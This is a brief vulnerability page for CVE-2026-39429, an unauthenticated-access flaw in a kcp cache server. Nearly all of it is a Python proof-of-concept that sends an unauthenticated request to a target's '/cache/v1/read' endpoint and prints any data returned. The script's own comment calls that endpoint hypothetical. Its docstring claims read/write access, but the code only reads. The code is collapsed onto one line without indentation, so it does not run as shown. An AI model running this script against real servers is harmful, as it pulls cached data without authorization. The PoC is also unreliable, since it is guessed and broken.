CVE-2026-39429 kcp缓存服务器未授权访问漏洞

import requests import sys # PoC for CVE-2026-39429: Unauthenticated Cache Server Access # This script attempts to read/write from the exposed cache server without authentication. def check_vulnerability(target_url): """ Attempts to access the cache server endpoint. If the server responds without 401/403, it might be vulnerable. """ # Hypothetical endpoint for cache server based on vulnerability description cache_endpoint = f"{target_url}/cache/v1/read" try: # Attempt to read from cache without headers response = requests.get(cache_endpoint, timeout=5) if response.status_code == 200: print(f"[+] Potential Vulnerability Detected! Server responded with 200 OK.") print(f"[+] Data received: {response.text[:100]}...") return True elif response.status_code in [401, 403]: print("[-] Server requires authentication. Not vulnerable.") return False else: print(f"[?] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <http://target_ip:port>") sys.exit(1) target = sys.argv[1] print(f"[*] Checking {target} for CVE-2026-39429...") check_vulnerability(target)